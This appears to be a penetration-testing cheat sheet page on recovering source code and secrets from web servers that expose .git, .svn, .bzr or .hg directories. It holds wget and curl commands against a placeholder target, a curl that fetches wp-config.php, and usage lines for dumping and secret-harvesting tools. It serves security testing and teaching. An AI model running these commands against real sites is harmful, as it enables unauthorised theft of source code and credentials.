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Insecure Source Code Management

Git
- Example
  - Recovering file contents from .git/logs/HEAD
  - Recovering file contents from .git/index
- Tools
  - Automatic recovery
    - git-dumper.py
    - diggit.py
    - GoGitDumper
    - rip-git
    - GitHack
    - GitTools
  - Harvesting secrets
    - trufflehog
    - Yar
    - Gitrob
    - Gitleaks
Subversion
- Example (Wordpress)
- Tools
  - svn-extractor
Bazaar
- Tools
  - rip-bzr.pl
  - bzr_dumper
Mercurial
- Tools
  - rip-hg.pl
References

Git

The following examples will create either a copy of the .git or a copy of the current commit.

Check for the following files, if they exist you can extract the .git folder.

.git/config
.git/HEAD
.git/logs/HEAD

Example

Recovering file contents from .git/logs/HEAD

Check for 403 Forbidden or directory listing to find the /.git/ directory

Git saves all information in .git/logs/HEAD (try lowercase head too)

0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.

Access the commit using the hash

# create an empty .git repository
git init test
cd test/.git

# download the file
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c

# first byte for subdirectory, remaining bytes for filename
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
    tree 323240a3983045cdc0dec2e88c1358e7998f2e39
    parent 15ca375e54f056a576905b41a417b413c57df6eb
    author Michael <michael@easyctf.com> 1489390329 +0000
    committer Michael <michael@easyctf.com> 1489390329 +0000
    Initial.

Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39

wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/

git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
    040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
    100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
    040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
    100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
    040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js

Read the data (flag.txt)

wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f

Recovering file contents from .git/index

Use the git index file parser https://pypi.python.org/pypi/gin (python3).

pip3 install gin
gin ~/git-repo/.git/index

Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.

$ gin .git/index | egrep -e "name|sha1" 
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98

name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141

Tools

Automatic recovery

git-dumper.py

git clone https://github.com/arthaud/git-dumper
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website

diggit.py

git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download

GoGitDumper

go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout

rip-git

git clone https://github.com/kost/dvcs-ripper
perl rip-git.pl -v -u "http://web.site/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692  
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000

git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2

GitHack

git clone https://github.com/lijiejie/GitHack
GitHack.py http://web.site/.git/

GitTools

git clone https://github.com/internetwache/GitTools
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .

Harvesting secrets

trufflehog

Searches through git repositories for high entropy strings and secrets, digging deep into commit history.

pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git

Yar

Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.

go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both

Gitrob

Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.

go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]

Gitleaks

Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.

# Run gitleaks against a public repository
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git

# Run gitleaks against a local repository already cloned into /tmp/
docker run --rm --name=gitleaks -v /tmp/:/code/  zricethezav/gitleaks -v --repo-path=/code/gitleaks

# Run gitleaks against a specific Github Pull request
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000

or

go get -u github.com/zricethezav/gitleaks

Subversion

Example (Wordpress)

curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base

Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db

INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);

Download interesting files
- remove $sha1$ prefix
- add .svn-base postfix
- use first byte from hash as a subdirectory of the pristine/ directory (94 in this case)
- create complete path, which will be: http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base

Tools

svn-extractor

git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py –url "url with .svn available"

Bazaar

Tools

rip-bzr.pl

wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u

bzr_dumper

git clone https://github.com/SeahunOh/bzr_dumper
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)                                                                                                                                                       
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish

$ bzr revert
 N  application.py
 N  database.py
 N  static/

Mercurial

Tools

rip-hg.pl

wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u

10 KiB Raw Blame History Unescape Escape

Insecure Source Code Management

Git

Example

Recovering file contents from .git/logs/HEAD

Recovering file contents from .git/index

Tools

Automatic recovery

git-dumper.py

diggit.py

GoGitDumper

rip-git

GitHack

GitTools

Harvesting secrets

trufflehog

Yar

Gitrob

Gitleaks

Subversion

Example (Wordpress)

Tools

svn-extractor

Bazaar

Tools

rip-bzr.pl

bzr_dumper

Mercurial

Tools

rip-hg.pl

References

10 KiB

Raw Blame History